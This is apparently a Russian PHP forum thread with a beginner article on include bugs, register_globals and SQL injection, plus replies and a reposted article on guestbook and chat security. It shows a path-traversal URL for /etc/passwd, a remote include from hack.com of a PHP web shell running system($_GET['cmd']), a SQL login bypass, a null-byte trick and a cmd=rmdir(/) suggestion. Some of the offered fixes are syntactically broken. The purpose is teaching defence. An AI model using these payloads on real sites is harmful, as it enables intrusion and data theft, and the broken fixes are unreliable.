Первое и самое главное правило программиста:
Никогда не доверяй тому, чего приходит от пользователя!
Больше не буду мучить теорией т.к не люблю всё это, сразу к живым примерам.
Ошибка №1: include-баг
Ошибка №1 заключается в т.н include-баге.
Описание:
Вы делаете простенький движок сайта со следующей структурой:

Код

<? // Тут код include($page); // тут ещё какой нить код ?>

и навигация происходит методов ссылок, типа:

Код

<a href="index.php?page=aboutme.php"> <a href="index.php?page=photos.php">

т.е переменная $page содержит имя подлючаемого файла. Если Вы делаете сайт такого типа, то , что мешает хакеру воспользоваться данной дырой и сделать своё коварное дело? ничего
а сделает он следующим образом:
Метод №1:
подставит своё значение page:

Цитата

index.php?page=../../../../../etc/passwd

Тем самым благополучно получит содержимое этого файла на экран. (В нем хранятся пароли, однако на современных хостах они обычно зашифрованы Однако доступ можно получить будет к любому файлу.)
Метод №2:
Include своего скрипта. Если на сервере включена опция open_wrappers (Возможность работы с удаленными файлами), то хакер может поступить и так:

Цитата

index.php?page=http://www.hack.com/hack.txt

А файл hack.txt:

Код

<?   if (empty($_GET['cmd'])){       $cmd = 'ls -la';   } else {       $cmd = $_GET['cmd'];   }   system($cmd); ?>

Если на сервере есть возможность пользоваться системыни командами, то хакер получит список всех файлов в данном каталоге. И что самое ужасное может выполнять Shell команды, что собственно влечет за собой взлом сервера.
Решения:
Функция basename. Эта функция вернет имя файла, чей путь был передан в качестве параметра. Если имя файла оканчивается на suffix, он также будет отброшен. Например
Пример 1. Пример использования функции basename()

Код

<?php $path = "/home/httpd/html/index.php"; $file = basename($path);        // $file содержит "index.php" $file = basename($path, ".php"); // $file содержит "index" ?>

на деле:

Код

<? include("./".basename($page)); ?>

Максимум что получит хакер - сообщение что файл не найден.
Избежать инклуда можно указыв все возможные варианты:

Код

<?   $green = array("aboutme.php", "photos.php");   if (isset($_GET['page']) && in_array($_GET['page'],$green)){      include($_GET['page']);   } ?>

Для полной безопасности я воспользовался уже известной функцией basename()
Однако такой подход не удобен, если страниц много.
Если же вам необходимо подключать файлы из разных каталогов, то можно поспользоваться оператором switch или старыми добрыми if elseif else…например:

Код

switch($_GET['page']){ Case 'aboutme':     $filepath = 'lib/aboutme.php'; Break; Case 'history':     $filepath = 'other/history.php'; Break; Default:     $filepath = 'inc/news.php'; } Include($filepath);

Последний вариант, и наверное более верный, пропускать только "подходящие символолы", это A-Za-z0-9_- и делать это примерно так:

Код

if("/^([A-Za-z0-9_-]+)$/", $_GET['page']) {      $file = $_GET['page']; } else {      $file = "main.php"; } include($file);

Ошибка №2: register_globals
Сразу скажу, что это ошибкой не является, но это не мешает быть причиной взломов.
На многих серверах эта опция PHP стоит в положении ON, что значит доступ к переменным окружения через их индекс напрямую, из вышеуказанного примера:
$page, правильно будет использовать $_GET['page']. Сейчас кратко скажу почему оно именно так:
Указывая суперглобальный(т.е доступным из любого места программы(main, class, function)) массив $_GET, мы говорим программе брать значение только из метода GET. Иначе хакер мог бы воспользоваться, например, методом POST и подставить своё значение и наоборот, соответсвенно..
Доступные суперглобальные массивы:

Цитата

$_POST $_GET $_REQUEST  (Опять же объединяет всё вместе) $_COOKIE $_SESSION

Далее распинаться по поводу register_globals я не хочу, т.к по этому поводу написана не одна статья... К добавок скажу, что на момент отладки скрипта включите отображение всех нотайсов (сообщений PHP):

Код

error_reporting(E_ALL);

в PHP5 лучше установить уровень E_STRICT
И определяйте все значения заранее. Тем самым Вы избавитесь от возможных ошибок . Когда Вы заканчиваете режим отладки и выставляете Ваше творение на общее обозрение ставьте нулевой вывод ошибок, т.е

Код

error_reporting(0);

Это лишит злоумышленника "лишней" информации по поводу скрипта, тем самым кое как обезопасив его.
Ошибка №3: SQL-инъекции
SQL – инъекции[b] – это SQL запросы, которые выполняет хакер для получения нужного ему результата.
Приведу пример:

Код

$query = mysql_query("select * from users where user='$username' and password='$password'");

и предварительно никаких проверок на эти данные нету. Как может поступить хакер. Пошагово:
1) Узнать существующий логин, например админа – Admin;
2) Логиниться, если через форму, то, в поле для пароля ввести: ' or a = 'a
Тем самым получится запрос:

Код

select * from users where user='Admin' and password='' or a = 'a'

Хм, разберем его =), а именно ту часть, где пароль: password='' or a = 'a', пароль у админа вряд ли будет NULL, по условию это не подойдет и поэтому стоит оператор or, а далее a = 'a', т.е будет истиной, и хакер успешно залогинится с админскими правами. Из вариантов посложнее, будет использование функции Union, которая доступна в MySQL с 4 версии. А служит она для объединения запросов, например добавить свой запрос и получить, к примеру пароли, или хэши оных =).
Как бороться:
1) Перед подставлением параметра, обязательно его обрабатывать функцией mysql_escape_string(); Эта функция экранирует все SQL спец-символы в unescaped_string, вследствие чего, её можно безопасно. Эта функция идентична функции mysql_real_escape_string. Однако в последняя экраниует в зависимости от кодировки, в которой Вы работаете с БД;
2) Если переменная заведомо является числом, можно привести её к числовому виду:

Код

$val = intval($_GET['param']);

или же

Код

$val = (int)$_GET['param'];

Пару советов:
1) Тчательно шифруйте пароли доступа, например, функцией md5, чтобы усложнить расшифровку хеша, можете добавлять случайную строку.
2) Делать пароли на базу и FTP разными. Ведь имея возможность читать файлы, хакер сможет получить полный доступ к серверу. При хранении данных от пользователя, например в гостевых книгах делать проверки на html теги – htmlspecialchars();
3) Если есть возможность обойтись без функции system. То лучше вообще её отключить (в конфиге disable_functions).
В заключение:
Если вы определили, что на сервере вашего провайдера возможны подобные действия, попросите администратора запретить их. если ваш скрипт написан безупречно, но вы вынуждены использовать shared hosting, вы ставите свой сайт под удар маразматиков, чьи криво написанные сайты лежат на том же сервере, что и ваш.

Обсуждение здесь

Это сообщение отредактировал(а) Opr - 19.5.2005, 02:57

Думаю что про метод №2 надо уточнить чтобы было понятно, записав в урл какую нибудь команду: cmd=rmdir(/)...

Мдя, очень полезная статья, но она еще и дает информацию для самих хакеров...
Кстати, люди, если не хотите, чтобы юзеры видели содержимое ваших папок, набирая типа: http://mysite.ru/images/ , то просто в папках, не имеющих главных файлов посоздавайте пустые файлы просто - index.html ...
Добавлено @ 19:21
И еще одна фишка, для людей таких как я - не очень любящих MySQL и использующих простые файлы и функцию explode.
Для того, чтобы юзеры не могли набирая http://site.ru/data/passwd.dat увидеть ваши пароли, либо MD5 хеши (их можно легко подобрать, например через MD5 Inside), то создайте папку date в корневом коталоге Вашего сайта (то бишь где валяются папки site(или www), cgi-bin и прочие) и выложите все свои файлы, где храниться записываемая информация в нее.
Если хотите инклудировать фалйы, то пишите include("../date/file.dat");. Дальше вы разберетесь.

Теперь идет речь о include баге...
Юзер может набрать http://site.ru/page.php?file=../date/passwd.dat
Можно использовать обычные извращения типа:

Код

if ($_GET['file'] == "../date/passwd.dat") { echo "Вы ввели запрещеный адрес файла!"; return 0; }

Либо прописать замену двойных точек со слешем.

Код

if (file_exists($_GET['file'])) { $_GET['file'] = ereg_replace("../","",$_GET['file']); } else { echo "Такого файла не существует!"; return 0; }

Зы. Кто не знает, то return 0; - означает, что дальше скрипт не поедет и остановится на этом месте. А return 1; - это спокойное продолжение дальше. Еще можно вместо 0 писать FALSE, а вместо 1 писать TRUE...

InfMag
про index.html - можно просто запретить листинг директорий.
на файлы с паролями обычно ставят права на чтение только сервером.

Цитата

if ($_GET['file'] == "../date/passwd.dat") { echo "Вы ввели запрещеный адрес файла!"; return 0; }

Извини, но бред. много мороки.

Цитата

return 0;

exit() или die() на что?

Код

$_GET['file'] = ereg_replace("../","",$_GET['file']);

о basename внимательно читал?

Скажите,
а если у меня на стрнаице вывод переменной типа:

Код

echo $string;

и потом отправка ее по почте
и она задается в запросе

Код

page.php?string=dkl;skd;sdk

то хватит ли ее так обезопасить?

Код

if($string){ $string=htmlspecialchars($string); $string=trim($string); $string=substr($string, 0, 50) };

Это у меня в форме обратной связи

Добавлено @ 14:40
И вообще, давайте затроним шире вопрос проверки переменных

Это сообщение отредактировал(а) pasha_kiev - 26.1.2005, 14:39

pasha_kiev
нельзя ли форму отправлять методом POST?
тогда строки не будет в строке адреса page.php?string=dkl;skd;sdk

она так и отправляется через ПОСТ, просто я для пирмера показал так

Дело в том, что форма может и не передать переменную,
и тогда ее может ввести через запрос кулХацкер

вообщем вопрос отсается открытым - о качественной проверке переменных вводимых из-вне.

pasha_kiev
если это данные SQL, то mysql_escape_string вполне хватит

нет, это простые переменные, которые потом передаются по мылу

pasha_kiev
если это само мыло, то смотреть регами на правильность емайла. Да думаю тут опасного ничего нет.

при чем здесь мыло?
я хочу узнать как надежно проверять переменные вводимые пользователем
несмотря на цели их использования

pasha_kiev
всё как раз зависит от целей.

pasha_kiev, для переданных данных об адресе мейла будет одна проверка, при проверке номера ICQ, адреса сайта - другие, при передаче данных в MySQL третья, при записи в файлы четвертая. И для разных случаев необходимы разные проверки, например при ситуации когда надо чтобы в тесте созхранялся HTML, делаем одно, а когда нужно чтобы его там небыло - другое.

Цитата(pasha_kiev @ 26.1.2005, 13:08)

Дело в том, что форма может и не передать переменную,

ух... а можно пример?

Так, чем пополнить статью?

Цитата(Opr @ 19.3.2005, 06:04)

Так, чем пополнить статью?

уловками по обеспечению безопасности

Чуть поправил статью.

Цитата(Opr @ 19.5.2005, 03:59)

Чуть поправил статью.

ты скажи что конкретно поправил, а то ведь не отличишь..

Ну правил стиль написания ) что не понравилось, переписал на более легкое чтение. А в основом дописал про include баг, добавил пример решения, описал функцию. и так по мелочам что то.

Цитата(Opr @ 19.3.2005, 05:04)

Так, чем пополнить статью? smile

было бы интересно про использования SSL сертификатов для аутентинфикации пользователя..

Да, действительно, что нибудь по серьезней

Opr когда- то писал свою статью по безопасности, на примерах. вышлю в ПМ, если нужно используй.

Слава богу этих 3 ошибок неюзал никогда в жизни.

А методы взлома SQLite есть и вообще значительные дыры в PHP5 ?

Цитата(PROCESSOR @ 19.7.2005, 07:47)

Слава богу этих 3 ошибок неюзал никогда в жизни.

Ты можешь их никогда и не поюзать, вопрос в том, поюзает ли их кто-ть против тебя

Цитата(PROCESSOR @ 19.7.2005, 07:47)

А методы взлома SQLite есть и вообще значительные дыры в PHP5 ?

Также SQL иньекции, и простое скачивание файлов БД, если права на файл не установлены

А вообще что лучше юзать в плане безопасности против sql-инъекций, addslashes или mysql_escape_string? Ведь эти две функции обе экранируют спецсимволы.

Цитата

mysql_escape_string

Само собой, т.к. она экранирует то, что нужно именно для mysql.

Mal Hack

Цитата

и простое скачивание файлов БД, если права на файл не установлены

как узнать установлены ли права?

Что-бы ты в коде не писал, какую бы защиту не ставил, если взломать не через сайт, а через соединение с сервером, то можно код изкаверкать, изменить, прочитать и удалить и т.п.
есс-но, можно зайти как администратор(Соедениться с сервером с другого) не через сайт...
Тогда кранты
МОГУ ОБРАДОВАТЬ: Таких хакеров щитанные сотни
Так что вывод: Защищай соединение с сервером как можно сильнее.

Респект, теперь есть о чем подумать... Давайте еще... Сам может что надумаю или найду - выложу...

Цитата

Приемы защиты веб-приложений на PHP Единственная цель этой статьи - показать некоторые часто используемые приемы защиты веб-приложений - типа WWW-чатов, гостевых книг, веб-форумов и других приложений подобного рода...  Илья Басалаев woweb.ru 10-05-2004 печать Первой заповедью веб-программиста, желающего написать более-менее защищенное веб-приложение, должно стать "Никогда не верь данным, присылаемым тебе пользователем". Пользователи - это по определению такие злобные хакеры, которые только и ищут момента, как бы напихать в формы ввода всякую дрянь типа PHP, JavaScript, SSI, вызовов своих жутко хакерских скриптов и тому подобных ужасных вещей. Поэтому первое, что необходимо сделать - это жесточайшим образом отфильтровать все данные, присланные пользователем. Допустим, у нас в гостевой книге существует 3 формы ввода: имя пользователя, его e-mail и само по себе тело сообщения. Прежде всего, ограничим количество данных, передаваемых из форм ввода чем-нибудь вроде: <input type=text name=username maxlength=20> На роль настоящей защиты, конечно, это претендовать не может - единственное назначение этого элемента - ограничить пользователя от случайного ввода имени длиннее 20-ти символов. А для того, чтобы у пользователя не возникло искушения скачать документ с формами ввода и подправить параметр maxlength - установим где-нибудь в самом начале скрипта, обрабатывающего данные, проверку переменной окружения web-сервера HTTP-REFERER: <? $referer=getenv("HTTP_REFERER"); if (!ereg("^http://www.myserver.com")) { echo "hacker? he-he... "; exit; } ?> Теперь, если данные переданы не из форм документа, находящегося на сервере www.myserver.com, “кул хацкеру” будет выдано деморализующее сообщение. На самом деле, и это тоже не может служить 100%-ой гарантией того, что данные ДЕЙСТВИТЕЛЬНО переданы из нашего документа. В конце концов, переменная HTTP_REFERER формируется браузером, и никто не может помешать хакеру подправить код браузера, или просто зайти телнетом на 80-ый порт и сформировать свой запрос. Так что подобная защита поможет только от Ну Совсем Необразованных Хакеров. Впрочем, по моим наблюдениям, около 80% процентов злоумышленников на этом этапе останавливаются и дальше не лезут - то ли IQ не позволяет, то ли просто лень. Лично я попросту вынес этот фрагмент кода в отдельный файл, и вызываю его отовсюду, откуда это возможно. Времени на обращение к переменной уходит немного - а береженого Бог бережет. Следующим этапом станет пресловутая жесткая фильтрация переданных данных. Прежде всего, не будем доверять переменной maxlength в формах ввода - и ручками порежем строку: $username=substr($username,0,20); Не дадим пользователю использовать пустое поле имени - просто так, чтобы не давать писать анонимные сообщения: if (empty($username)) { echo "invalid username"; exit; } Запретим пользователю использовать в своем имени любые символы, кроме букв русского и латинского алфавита, знака "_" (подчеркивание), пробела и цифр: if (preg_match("/[^(w)|(x7F-xFF)|(s)]/",$username)) { echo "invalid username"; exit; } Я предпочитаю везде, где нужно что-нибудь более сложное, чем проверить наличие шаблона в строке или поменять один шаблона на другой, использовать Перл-совместимые регулярные выражения (Perl-compatible Regular Expressions). То же самое можно делать и используя стандартные PHP-шные ereg() и eregi(). Я не буду приводить здесь эти примеры - все достаточно подробно описано в мануале. Для поля ввода адреса e-mail добавим в список разрешенных символов знаки "@" и "." (иначе пользователь не сможет корректно ввести адрес). Зато уберем русские буквы и пробел: if (preg_match("/[^(w)|(@)|(.)]/",$usermail)) { echo "invalid mail"; exit; } Поле ввода текста мы не будем подвергать таким жестким репрессиям - перебирать все знаки препинания, которые можно использовать, попросту лень; поэтому ограничимся использованием функций nl2br() и htmlspecialchars() - это не даст врагу понатыкать в текст сообщения html-тегов. Некоторые разработчики, наверное, скажут: "а мы все-таки очень хотим, чтобы пользователи _могли_ вставлять теги". Если сильно неймется - можно сделать некие тегозаменители, типа "текст, окруженный звездочками, будет высвечен bold"ом.". Но никогда не следует разрешать пользователям использование тегов, подразумевающих подключение внешних ресурсов - от тривиального <img> до супернавороченного <bgsound>. Как-то раз меня попросили потестировать html-чат. Первым же замеченным мной багом было именно разрешение вставки картинок. Стоило учесть еще пару особенностей строения чата – и через несколько минут у меня был файл, в котором аккуратно были перечислены IP-адреса, имена и пароли всех присутствовавших в этот момент в чате пользователей. Как? Да очень просто - чату был послан тег <img src=http://myserver.com/myscript.pl>, в результате чего браузеры всех пользователей, присутствовавших в тот момент на чате, вызвали скрипт myscript.pl с хоста myserver.com. (а людей, сидевших под lynx"ом, там не было :-) ). Скрипт же, перед тем как выдать location на картинку, свалил мне в лог-файл половину переменных окружения - в частности QUERY_STRING, REMOTE_ADDR и других. Для каждого пользователя; с вышеупомянутым результатом… Посему мое мнение - да, разрешить вставку html-тегов в чатах, форумах и гостевых книгах - это красиво, но игра не стоит свеч - вряд ли пользователи пойдут к вам в форум или чат, зная, что их IP может стать известным первому встречному хакеру. Да и не только IP - возможности javascript я перечислять не буду :-) Для примитивной гостевой книги - перечисленных средств хватит, чтобы сделать ее более-менее сложной для взлома. Однако, для удобства книги обычно содержат некоторые возможности для модерирования - как минимум, возможность удаления сообщений. Разрешенную, естественно, узкому (или не очень) кругу лиц. Посмотрим, что можно сделать здесь. Допустим, вся система модерирования книги также состоит из двух частей - страницы со списком сообщений, где можно отмечать подлежащие удалению сообщения, и непосредственно скрипта, удаляющего сообщения. Назовем их, соответственно, admin1.php и admin2.php. Простейший и надежнейший способ аутентификации пользователя - размещение скриптов в директории, защищенной файлом .htaccess. Для преодоления такой защиты нужно уже не приложение ломать, а web-сервер. Что несколько сложнее и уж, во всяком случае, не укладывается в рамки этой статьи. Однако, такой способ не всегда пригоден к употреблению - иногда нужно все-таки проводить авторизацию средствами самого приложения. Первый, самый простой способ - авторизация средствами HTTP, через код 401. При виде такого кода возврата, любой нормальный браузер высветит окошко авторизации и попросит ввести логин и пароль. А в дальнейшем браузер при получении кода 401 будет пытаться подсунуть web-серверу текущие для данного realm"а логин и пароль, и только в случае неудачи - потребует повторной авторизации. Пример кода для вывода требования на такую авторизацию есть во всех хрестоматиях и мануалах: if (!isset($PHP_AUTH_USER)) { Header("WWW-Authenticate: Basic realm="My Realm""); Header("HTTP/1.0 401 Unauthorized"); exit; } Разместим этот кусочек кода в начале скрипта admin1.php. После его выполнения, у нас будут две установленные переменные: $PHP_AUTH_USER и $PHP_AUTH_PW, в которых, соответственно, будут лежать имя и пароль, введенные пользователем. Их можно, к примеру, проверить по SQL-базе: *** Внимание!!!*** В приведенном ниже фрагменте кода сознательно допущена серьезная ошибка в безопасности. Попытайтесь найти ее самостоятельно. $sql_statement="select password from people where name="$PHP_AUTH_USER""; $result = mysql($dbname, $sql_statement); $rpassword = mysql_result($result,0,"password"); $sql_statement = "select password("$PHP_AUTH_PW")"; $result = mysql($dbname, $sql_statement); $password = mysql_result($result,0); if ($password != $rpassword) { Header("HTTP/1.0 401 Auth Required"); Header("WWW-authenticate: basic realm="My Realm""); exit; } Упомянутая ошибка, между прочим, очень распространена среди начинающих и невнимательных программистов. Когда-то я сам поймался на эту удочку - по счастью, особого вреда это не принесло (не считая нескольких нецензурных фраз, оставленных хакером в новостной ленте). Итак, раскрываю секрет: допустим, хакер вводит заведомо несуществующее имя пользователя и пустой пароль. При этом в результате выборки из базы переменная $rpassword принимает пустое значение. А алгоритм шифрования паролей при помощи функции СУБД MySQL Password() – так же, впрочем, как и стандартный алгоритм Unix - при попытке шифрования пустого пароля возвращает пустое значение. В итоге - $password == $rpassword, условие выполняется, и взломщик получает доступ к защищенной части приложения. Лечится это либо запрещением пустых паролей, либо, на мой взгляд, более правильным путем - вставкой следующего фрагмента кода: if (mysql_numrows($result) != 1) { Header("HTTP/1.0 401 Auth Required"); Header("WWW-authenticate: basic realm="My Realm""); exit; } То есть - проверкой наличия одного и только одного пользователя в базе. Ни больше, ни меньше. Точно такую же проверку на авторизацию стоит встроить и в скрипт admin2.php. По идее, если пользователь хороший человек - он приходит к admin2.php через admin1.php, а значит, уже является авторизованным и никаких повторных вопросов ему не будет - браузер втихомолку передаст пароль. Если же нет - ну, тогда и поругаться не грех. Скажем, вывести ту же фразу "hacker? he-he...". К сожалению, не всегда удается воспользоваться алгоритмом авторизации через код 401, и приходится выполнять ее только средствами приложения. В общем случае модель такой авторизации будет следующей: · Пользователь один раз авторизуется при помощи веб-формы и скрипта, который проверяет правильность имени и пароля. · Остальные скрипты защищенной части приложения каким-нибудь образом проверяют факт авторизованности пользователя. Такая модель называется сессионной - после прохождения авторизации открывается так называемая "сессия", в течение которой пользователь имеет доступ к защищенной части системы. Сессия закрылась - доступ закрывается. На этом принципе, в частности, строится большинство www-чатов: пользователь может получить доступ к чату только после того, как пройдет процедуру входа. Основная сложность данной схемы заключается в том, что все скрипты защищенной части приложения каким-то образом должны знать о том, что пользователь, посылающий данные, успешно авторизовался. Рассмотрим несколько вариантов, как это можно сделать: 1. После авторизации все скрипты защищенной части вызываются с неким флажком вида adminmode=1. (Не надо смеяться - я сам такое видел). Ясно, что любой, кому известен флажок adminmode, может сам сформировать URL и зайти в режиме администрирования. Кроме того - нет возможности отличить одного пользователя от другого. 2. Скрипт авторизации может каким-нибудь образом передать имя пользователя другим скриптам. Распространено во многих www-чатах - для того, чтобы отличить, где чье сообщение идет, рядом с формой типа text для ввода сообщения, пристраивается форма типа hidden, где указывается имя пользователя. Тоже ненадежно, потому что хакер может скачать документ с формой к себе на диск и поменять значение формы hidden. Некоторую пользу здесь может принести вышеупомянутая проверка HTTP_REFERER - но, как я уже говорил, никаких гарантий она не дает. 3. Определение пользователя по IP-адресу. В этом случае, после прохождения авторизации, где-нибудь в локальной базе данных (sql, dbm, да хоть в txt-файле) сохраняется текущий IP пользователя, а все скрипты защищенной части смотрят в переменную REMOTE_ADDR и проверяют, есть ли такой адрес в базе. Если есть - значит, авторизация была, если нет - "hacker? he-he..." :-) Это более надежный способ - не пройти авторизацию и получить доступ удастся лишь в том случае, если с того же IP сидит другой пользователь, успешно авторизовавшийся. Однако, учитывая распространенность прокси-серверов и IP-Masquerad"инга - это вполне реально. 4. Единственным известным мне простым и достаточно надежным способом верификации личности пользователя является авторизация при помощи random uid. Рассмотрим ее более подробно: После авторизации пользователя скрипт, проведший авторизацию, генерирует достаточно длинное случайное число: mt_srand((double)microtime()*1000000); $uid=mt_rand(1,1000000); Это число он: а) заносит в локальный список авторизовавшихся пользователей; б) выдает пользователю. Пользователь при каждом запросе, помимо другой информации (сообщение в чате, или список сообщений в гостевой книге), отправляет серверу свой uid. При этом в документе с формами ввода будет присутствовать, наряду с другими формами, тег вида: <input type=hidden name=uid value=1234567890> Форма uid невидима для пользователя, но она передается скрипту защищенной части приложения. Тот сличает переданный ему uid с uid"ом, хранящимся в локальной базе и либо выполняет свою функцию, либо... Единственное, что необходимо сделать при такой организации - периодически чистить локальный список uid"ов и/или сделать для пользователя кнопку "выход", при нажатии на которую локальный uid пользователя сотрется из базы на сервере - сессия закрыта. Некоторые программисты используют в качестве uid не "одноразовое" динамически генерирующееся число, а пароль пользователя. Это допустимо, но это является "дурным тоном", поскольку пароль пользователя обычно не меняется от сессии к сессии, а значит - хакер сможет сам открывать сессии. Та же самая модель может быть использована везде, где требуется идентификация пользователя - в чатах, веб-конференциях, электронных магазинах. В заключение стоит упомянуть и о такой полезной вещи, как ведение логов. Если в каждую из описанных процедур встроить возможность занесения события в лог-файл с указанием IP-адреса потенциального злоумышленника - то в случае реальной атаки вычислить хакера будет гораздо проще, поскольку хакеры обычно пробуют последовательно усложняющиеся атаки. Для определения IP-адреса желательно использовать не только стандартную переменную REMOTE_ADDR, но и менее известную HTTP_X_FORWARDED_FOR, которая позволяет определить IP пользователя, находящегося за прокси-сервером. Естественно - если прокси это позволяет. При ведении лог-файлов - необходимо помнить, что доступ к ним должен быть только у вас. Лучше всего, если они будут расположены за пределами дерева каталогов, доступного через WWW. Если нет такой возможности - создайте отдельный каталог для лог-файлов и закройте туда доступ при помощи .htaccess (Deny from all). Я буду очень признателен, если кто-нибудь из программистов поделится своими - не описанными здесь -методами обеспечения безопасности при разработке приложений для Web. P.S. Выражаю глубокую благодарность Козину Максиму ([email protected]) за рецензирование данной статьи и ряд весьма ценных дополнений.

Вот тут распечатал парочку статей включая эту.. Только дочитал.. И скажу вам - отличная статья! Читать всем без исключения.

Цитата(CyClon @ 10.12.2005, 21:00)

Вот тут распечатал парочку статей включая эту..

Источник не подскажешь ?

Спросил бы раньше, подсказал бы))
Добавлено @ 20:46
Хех ребята учитись юзать поиск.
http://yandex.ru
Запрос:

IP-адреса потенциального злоумышленника - то в

вывалило кучу сайтофф

http://www.winsov.ru/php003.php
http://www2.marketer.ru/articles/index.pr820.html
http://nbsp.ru/articles/2005/11/10/priemy_...okonchanie.html
http://renewing.ru/modules.php?name=Pages&pa=showpage&pid=91

Думаю что то на всех есть полезное. Пойду серфить.
Добавлено @ 20:47
Источник: http://detail.phpclub.net/

1. рекомендуется использовать функцию mysql_real_escape_string() вместо mysql_escape_string(), т.к. последняя теряет смысл при Unicode-кодировке.

2. с include (а вернее рекомендую использовать require) я поступаю так:

Код

<? $act = $_GET['act']; require "/sources/{$act}.php"; ?>

3. ещё раз четко про SQL, чтобы исключить возможность упущения чего-либо:

1) всегда использовать кавычки вокруг переменной вставляемой в запрос:

Код

SELECT * FROM _tbl WHERE _cell = '{$cell}';

2) всегда использовать функцию mysql_real_escape_string() хотя бы для проставления бэкслэшей ( \ ) перед кавычками дабы не получилось так ( $cell = "' and _pass > '0" ):

Код

SELECT * FROM _tbl WHERE _cell = '' and _pass > '0';

а получилось так:

Код

SELECT * FROM _tbl WHERE _cell = '\' and _pass > \'0';

3) всегда хранить данные, введённые пользователем, которые рано или поздно будут выведены в браузер только после пропуска через функцию htmlspecialchars()
4) если мы ждем от юзера число, достаточно строку пропустить через intval():

Код

$userid = $_GET['userid']; $userid = intval($userid); mysql_query("SELECT * FROM _tbl WHERE _userid = '{}');

таким образом, какую бы противную строчку мы не получили от хацкера, от неё останутся только циферки или 0.

вот это надо обязательно запомнить!

Цитата(Alx @ 8.1.2006, 16:37 )

2. с include (а вернее рекомендую использовать require) я поступаю так:

Сам факт использования той или иной функции на безопасности в данном случае не сказывается.

Цитата(Alx @ 8.1.2006, 16:37 )

4) если мы ждем от юзера число, достаточно строку пропустить через intval():

А я бы вот использовал проверку, а не приведение типов. ctype_*();

Цитата(Alx @ 8.1.2006, 16:37 )

3. ещё раз четко про SQL, чтобы исключить возможность упущения чего-либо:

http://vingrad.ru/PHP-ART-002847

А по-моему не стоит заморачиваться с basename'ами и regexp'ами.

Самый на мой взгляд удобный способ - ассоциативный массив типа



Ну и естественно в include() нужно передавать $page_array[$page]. Если переданный ключ в массиве отсутствует, то и подключать нечего.

Mh139, разумно.

Или юзать:

switch ($_GET['page']) {
case forum:
include("forum.php");
default:
include("news.php");
}

CyClon, или хранить все данные в базе. А вообще с появлением РНР 5, стало возможным ограничивать доступ к переменным и методам классов, что на мой взгляд крайне удобно и плюс к безопасности.

IZ@TOP, PHP5 ни разу не юзал)) Все PHP4...

CyClon, четверка уже морально устарела как и третья версия в свое время.

Четверка все еще на большинстве хостингов стоит.

IMHO



на этот случай есть программа InetCrack



тоже бред на проверку



А вообще чтобы узнать побольше советую очень практичный пример! скачайте XSpider даже демка подойдет, напишите чтото вроде



и посмотрите лог файл или БД там будет много интересного

Это сообщение отредактировал(а) CTAPbIuMABP - 22.2.2006, 12:55

C include поступаю так:



Кстати, ".php" в GET-запросе можно избавиться, если набрать:

index.php?page=file.txt%00  

Это сообщение отредактировал(а) OlegNT - 19.4.2006, 20:09

Мое ИМХО по include багам:
в include, require и т.д. использовать только константные строки! и include баг исчезает как класс.
Некоторые могут возразить: "а как - же ты тогда подрубаешь скрипты?". Отвечаю: вся структура с URL ами и соответствующими им модулями хранится в базе данных или других носителях. И уже давно пора на ЧПУ переходить. mod_rewrite даже на бесплатных хостах начинают ставить.
Конечно - же исключением может являться функция __autoload, где как раз и должны использоваться переменные в include, но ИМХО однажды хорошо продуманный и реализованный __autoload должен решить пробему с этим

 


Мое ИМХО по SQL и mysql_real_escape_string()
Чтобы избавиться от подобных безобразий почитайте про placeholders у Д.Котерова.
http://www.dklab.ru/lib/Database_Placeholder/
  

Это сообщение отредактировал(а) S.A.P. - 19.4.2006, 21:04

Я у себя использую данный способ проверки:



И все ваши include-баги отдыхают - можно вписывать только строчные буквы латинского алфавита с цифры + если ихсодники никому не показывать своего сайта - то у взломщика меньше 1% шанса, что он ломанет сайт через эту дырку. 

если в переменной должно содержаться только число - то ctype_digit() подойдет?
Не точки, не запятой, не символов, только число. 

Да. 

Добавлю свой метод защиты. При использовании читабельных файлов с данными, можно переписать обращение к этим файлам (например по расширению ".txt"), через мод-реврайт, на 404-страницу. 

Я больше доверяю защите через .htaccess. Ко всем файлам которые инклюдяться однозначно 
 Также если некоторые файлы только для приватного использования то однозначно в .htaccess:


Что касается средств безопасности пхп, то однозначно не доверять ничему и никому - GET, POST, cookie, формы и т.д.

Очень часто встречается вид инъекции через GET, причем в самых разных приложениях, даже в тех за которые просятся крупные суммы денег. Я решаю эту проблему очень просто - просто напросто запрещаю все недопустмые символы в УРЛ - кавычки, скобки, "../" , как в прямом виде так и в Unicod. Приведу код, хотя он и не отличается оптимальностью, по идее бы это все надо делать регулярными выражениями но мне чета впадлу ща). Кстати на скорости работы всей системы в целом не влияет, но зато отпадает сразу уйма ненужной головной боли.

Является ли функция addslashes() приемлиемой для экранирования SQL запросов?

Мои предпочтения по убывающей 

mysql_real_escape_string
mysql_escape_string
addslashes

Нет, это понятно, я всегда пользуюсь mysql_real_escape_string, просто в данном вопросе мне нужно использовать функцию без подключения к БД, так как вставка происходит через API, написанные не мной и я не знаю есть ли там экранирование (хотя скорее всего есть)

Я бы использовал PDO->prepare в PHP5.

и твой сайт зациклен
http://alx.com.ru/index.php?act=../index

AntonioBanderaz
ок, спасибо) залатаю)

Мне кажется в статье не хватает очень важной инфы.... о куках  скажем о том что в куки низя писать, нельзя проверять только по логину из кук, и т.д.

Это сообщение отредактировал(а) R.M. - 7.1.2007, 18:49

И как она защитит?


http://phpclub.ru/detail/article/sessions

Да, что-то я немного не о том 


Что ты хотел этим сказать? 

Это сообщение отредактировал(а) R.M. - 7.1.2007, 18:48

Это - информация, которую ты не нашел.

По поводу бага "Ошибка №1: include-баг".
У меня так сделано:
Меню сайта (с шапкой) в отдельном файле menu.php
Этот файлик прицепляется к каждой нужной страничке вот таким образом: "include "menu.php";". А вот теперь вопрос: "Так оставить, или лучше записать так include("./".basename("menu.php")); ? 

Staind, послушай, тут имелось ввиду использование basename для того что обезопасить данные, пришедшие от пользователя, потому что злоумышленник может составить запрос так, чтобы изменилась директория расположения подключаемого файла, что позволит ему подключить любой файл на сервере, чего нам совершенно не нужно. в данном случае ты сам выбираешь какой файл подключать, поэтому максимум что у тебя получилось - это защита от самого себя.  

Все. Еще подумав 10 минут над багом понял, что это не то, что мне нужно, спасибо Alx за ответ. Я просто новичек 

мне вот интересно узнать, почему в последнее время все запретили подгружать аватарки, которые выдают скрипты?
даж на винграде так.. хотя у меня mod_rewrite avatar.gif -> avatar.php занял минуту...
но на многих новых сайтах вообще разрешили загружать картинки только с локалки..

по этому поводу есть замечательная идея:
обрабатывать только ожидаемые данные,
то есть вместо $_GET['page'] = 'next_page.php'; использовать $_GET['page'] = 12;
